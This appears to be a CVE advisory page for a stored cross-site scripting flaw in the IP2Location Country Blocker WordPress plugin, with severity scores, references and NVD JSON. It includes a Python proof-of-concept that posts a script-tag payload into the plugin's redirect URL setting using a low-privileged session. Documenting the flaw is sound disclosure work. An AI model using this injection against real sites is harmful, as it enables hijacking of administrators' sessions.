CVE-2022-50961

Description

WordPress Plugin IP2Location Country Blocker 2.26.7 contains a stored cross-site scripting vulnerability that allows authenticated users to inject arbitrary JavaScript code through the Frontend Settings interface. Attackers can inject malicious scripts in the URL field of the Display page settings that execute when administrators or other authenticated users visit the plugin settings page.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

IP2Location Country Blocker <= 2.26.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Title: WordPress IP2Location Country Blocker < 2.26.8 Stored XSS PoC
# Description: Inject script into the 'URL' field in 'Display page settings'

import requests

target_url = "http://target.com/wp-admin/admin.php?page=ip2location-country-blocker-frontend-settings"

# Authenticated low-privileged user cookies
cookies = {
    "wordpress_logged_in_xxx": "your_session_cookie_here"
}

# Malicious payload to be injected
xss_payload = '"><script>alert(document.cookie);</script>'

# Data payload mimicking the form submission
form_data = {
    "ip2location_country_blocker_frontend_settings[redirect_url]": xss_payload,
    "submit": "Save Changes"
}

try:
    response = requests.post(target_url, cookies=cookies, data=form_data)
    if response.status_code == 200:
        print("[+] Payload injected successfully.")
        print("[*] Check the plugin settings page as an Admin to verify the XSS.")
    else:
        print("[-] Failed to inject payload.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2022-50961
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2022-50961
[3] CVE Details https://www.cvedetails.com/cve/CVE-2022-50961/
[4] VulDB https://vuldb.com/cve/CVE-2022-50961
[5] https://wordpress.org/plugins/ip2location-country-blocker/
[6] https://www.exploit-db.com/exploits/50709
[7] https://www.vulncheck.com/advisories/wordpress-plugin-ip2location-country-blocker-stored-xss

Raw JSON Data

JSON

{"cve": {"id": "CVE-2022-50961", "sourceIdentifier": "[email protected]", "published": "2026-05-10T13:16:33.827", "lastModified": "2026-05-12T14:24:15.210", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "WordPress Plugin IP2Location Country Blocker 2.26.7 contains a stored cross-site scripting vulnerability that allows authenticated users to inject arbitrary JavaScript code through the Frontend Settings interface. Attackers can inject malicious scripts in the URL field of the Display page settings that execute when administrators or other authenticated users visit the plugin settings page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/ip2location-country-blocker/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50709", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/wordpress-plugin-ip2location-country-blocker-stored-xss", "source": "[email protected]"}]}}